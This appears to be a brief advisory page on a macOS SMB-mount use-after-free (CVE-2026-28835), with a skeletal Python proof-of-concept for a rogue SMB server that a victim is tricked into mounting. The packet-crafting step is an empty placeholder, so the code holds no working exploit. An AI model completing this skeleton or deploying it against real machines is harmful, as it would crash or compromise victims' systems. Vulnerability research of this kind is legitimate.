CVE-2026-28835 macOS SMB挂载UAF漏洞致系统崩溃

import socket import struct # PoC Concept for CVE-2026-28835 # This script demonstrates the setup of a malicious SMB server. # Triggering the specific UAF requires crafting specific SMB protocol structures # based on the vulnerability details. class MaliciousSMB: def __init__(self, host, port): self.host = host self.port = port def start_listener(self): # Setup a socket to listen for incoming SMB connections s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((self.host, self.port)) s.listen(1) print(f"[*] Listening on {self.host}:{self.port}...") print("[*] Waiting for macOS target to connect...") conn, addr = s.accept() print(f"[*] Connection established from {addr}") # In a real exploit, specific malformed SMB packets would be sent here # to trigger the Use-After-Free condition during the mount process. # Example: Sending a crafted Negotiate Protocol Response or Tree Connect. # Simulate sending a malicious packet # malicious_packet = self._craft_malicious_smb_packet() # conn.send(malicious_packet) conn.close() def _craft_malicious_smb_packet(self): # Placeholder for packet crafting logic pass if __name__ == "__main__": # Usage: python poc.py # Attacker runs this script and tricks victim into mounting this share. server = MaliciousSMB('0.0.0.0', 445) server.start_listener()